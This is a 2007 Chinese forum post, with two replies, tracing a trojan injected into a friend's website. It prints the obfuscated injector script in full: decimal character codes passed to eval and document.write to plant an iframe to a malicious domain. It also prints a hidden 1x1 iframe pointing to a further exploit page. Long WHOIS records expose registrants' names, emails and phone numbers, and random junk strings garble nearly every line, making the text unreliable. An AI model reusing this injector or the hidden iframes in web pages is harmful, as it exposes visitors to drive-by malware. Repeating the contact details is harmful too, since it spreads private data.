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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, wlgR = l  
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http://www.areway.cn/?p=175 nWA>u J5  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: X0]{8v%  
          L8(2or  
<script>t=’60,105,102,114,97,109,101, w)&?9?~  
32,115,114,99,61,104,116,116,112,58,47,47, 7^tYtMm|U  
102,114,101,101,46,117,45,117,117,117,46,99, aW9\h_$  
110,47,101,114,114,111,114,46,104,116,109, _|T{2LvwT  
32,119,105,100,116,104,61,49,48,48,32,104, @saK:z  
101,105,103,104,116,61,48,62,60,47,105,102, LW k/h 1  
114,97,109,101,62′; r dCs  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> =J|jCK[r  
                                                                                                  ,&y_^-|d  
<script>t=’60,105,102,114,97,109,101,32,115, ESUO I  
114,99,61,104,116,116,112,58,47,47,102,114, 31UxYBY  
101,101,46,117,45,117,117,117,46,99,110,47, +\$c_9|C+  
101,114,114,111,114,46,104,116,109,32,119, >@Pw{Zh$  
105,100,116,104,61,49,48,48,32,104,101,105, uQ|LkL%< ^  
103,104,116,61,48,62,60,47,105,102,114,97, ix$ ^1(  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); '#SZ|Rr6tX  
document.write(t);</script> 6TTu[*0NT  
                                                                                                  $0vWC#.A]  
<html xmlns=” ug.|ag'R  
http://www.w3.org/1999/xhtml =CO) Q2  
“> J5n6K$ .d  
<head> ^M%P43  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> !3iZa*  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> `JY+3d,Ui  
<title>首页 - 爱生活家庭网 'J3yJ{  
                                                                                                                                                    j Neb*dPoK  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 [V qiF~o,  
转换字符串后的大概内容是(谁点击后果自付): \F-n}Z  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ,i|K} Y&  
                                                                                                                                  63J3NwFt  
查询玉米u-uuu.cn的详细信息: dQ~GE}[  
Domain Name: u-uuu.cn V8nQ/9R;  
ROID: 20070901s10001s64972306-cn x;`G n_  
Domain Status: ok ij#v_~g3  
Registrant Organization: 王雷 60]VOQku  
Registrant Name: 王雷 ju3@F8AI  
Administrative Email: czlovexs@126.com xQU//kNL  
Sponsoring Registrar: 北京万网志成科技有限公司 UJQTArf  
Name Server:ns.yovole.com 1h(IrV5g  
Name Server:ns1.yovole.com . AOc$Nt  
Registration Date: 2007-09-01 17:54 \At~94  
Expiration Date: 2008-09-01 17:54 ]kx<aQ^  
最后PING了一下地址 都没有什么…. QH4m7M@ni  
                                                                                                j,;f#+O`g  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. p`rjWpH  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> D "5|\  
<script language=”javascript” src=” >~Gy+-  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script '3U,UD5EG  
> jA;b2A]G  
这个玉米应该有可能是木马作者的: y9]7LETv\M  
foafau.info的详细信息: -^yc<%U  
Access to INFO WHOIS information is provided to assist persons in ,jeHL@>w[  
determining the contents of a domain name registration record in the w'A*EWO  
Afilias registry database. The data in this record is provided by );AtFP0Y  
Afilias Limited for informational purposes only, and Afilias does not v;5-1  
guarantee its accuracy.  This service is intended only for query-based qdwo2u  
access. You agree that you will use this data only for lawful purposes _Dqi#0#40p  
and that, under no circumstances will you use this data to: (a) allow, 9eq)WI/  
enable, or otherwise support the transmission by e-mail, telephone, or Qxa Me8 (  
facsimile of mass unsolicited, commercial advertising or solicitations sk<S`J,M/_  
to entities other than the data recipient’s own existing customers; or 568M4xzi  
(b) enable high volume, automated, electronic processes that send OmZZTeGg1s  
queries or data to the systems of Registry Operator, a Registrar, or )quQI)Ym  
Afilias except as reasonably necessary to register domain names or S LeA,T  
modify existing registrations. All rights reserved. Afilias reserves T+~&jC:{  
the right to modify these terms at any time. By submitting this query, K$D+TI)  
you agree to abide by this policy. ~,};FI  
Domain ID:D22418703-LRMS f. >[ J  
Domain Name:FOAFAU.INFO qGR1$\]  
Created On:20-Nov-2007 16:05:42 UTC L\"wz scn  
Last Updated On:20-Nov-2007 16:05:44 UTC Iurz?dt4w  
Expiration Date:20-Nov-2008 16:05:42 UTC ~N; dX[@BT  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) PWvTC`?  
Status:CLIENT DELETE PROHIBITED 3hBYx@jTO  
Status:CLIENT RENEW PROHIBITED 2B6u) 95  
Status:CLIENT TRANSFER PROHIBITED |x1Ttr,  
Status:CLIENT UPDATE PROHIBITED uEr.LCAS  
Status:TRANSFER PROHIBITED h(}#s1Fzq  
Registrant ID:GODA-040110615 %La/E#  
Registrant Name:liu hong Gdx %#@/  
Registrant Organization: y]obO|AH  
Registrant Street1:beijing J0e^v  
Registrant Street2: []N&,2O  
Registrant Street3: 5N6R%2,A  
Registrant City:beijing P| ?nx"c  
Registrant State/Province: kO^  
Registrant Postal Code:100000 U v>^ Z2  
Registrant Country:CN !=;Evf  
Registrant Phone:+86.860108888777 -:L7iOzgD  
Registrant Phone Ext.: :4X,5X7tW=  
Registrant FAX: bzZdj6>kX  
Registrant FAX Ext.: 9"1=um=  
Registrant Email:bbbshiji@163.com jL5O{R[ x:  
Admin ID:GODA-240110615 Vu~fF@ |  
Admin Name:liu hong \!uf*=d  
Admin Organization: _f "I%QTL  
Admin Street1:beijing GpO@1 C/  
Admin Street2: Ue,eEer  
Admin Street3: L7(.dO0C  
Admin City:beijing d3T7$'l$  
Admin State/Province: F/A)2 H_  
Admin Postal Code:100000 Ssa/;O2  
Admin Country:CN M_75bU  
Admin Phone:+86.860108888777 w8>bct3@  
Admin Phone Ext.: o 0b\<}  
Admin FAX: 7|"G 3ck  
Admin FAX Ext.: p"cY/2w:j  
Admin Email:bbbshiji@163.com B1i'Mzm-4  
Billing ID:GODA-340110615 YWi Y[  
Billing Name:liu hong r`u 9MJ*  
Billing Organization: =PLy^%  
Billing Street1:beijing J(XK%e[8  
Billing Street2: )In;nc  
Billing Street3: -M[BC~!0;  
Billing City:beijing W`wT0kP?*]  
Billing State/Province: V+*1?5w  
Billing Postal Code:100000 a5@lWpQsV  
Billing Country:CN a[lx&CHgI  
Billing Phone:+86.860108888777 L#IY6t  
Billing Phone Ext.:  :KRe==/  
Billing FAX: 1BzU-Ma  
Billing FAX Ext.: c/3]M>+M  
Billing Email:bbbshiji@163.com FEA/}*2F  
Tech ID:GODA-140110615 ,?GAFg K:  
Tech Name:liu hong mA3yM#  
Tech Organization: #M[Cq= 2  
Tech Street1:beijing sD<8-n  
Tech Street2: kRzqgVr%  
Tech Street3: W?12'EG}xa  
Tech City:beijing hA"z0Fszh  
Tech State/Province: N_.`5I;e  
Tech Postal Code:100000 (]<G)+*  
Tech Country:CN l {\@+m  
Tech Phone:+86.860108888777 =(5}0}j  
Tech Phone Ext.: iJu$&u  
Tech FAX: X@B,w_b  
Tech FAX Ext.: Zxv{qbF  
Tech Email:bbbshiji@163.com cFG%Ew@  
Name Server:NS27.DOMAINCONTROL.COM W}oAgUd  
Name Server:NS28.DOMAINCONTROL.COM %5bN@XD  
Name Server: s0'Xihsw6  
Name Server: ( e(<4-&  
Name Server: W;wu2'  
Name Server: !1?Nc}T0Q&  
Name Server: RFm9dHI27  
Name Server: "{(4  
Name Server: 3sGe#s%  
Name Server: q|ZQsFZ  
Name Server: ;0\  
Name Server: 5 %aT  
Name Server: BhJ~jV"  
                                                                                                          ,t>/_pI+=  
接着下载每个文件里面的代码: ^ )/oDyO  
一步一步看.. )c<5:c  
Wj. _{  
)u'("  
re} P  
Ndx  ]5  
I"+;L4o`  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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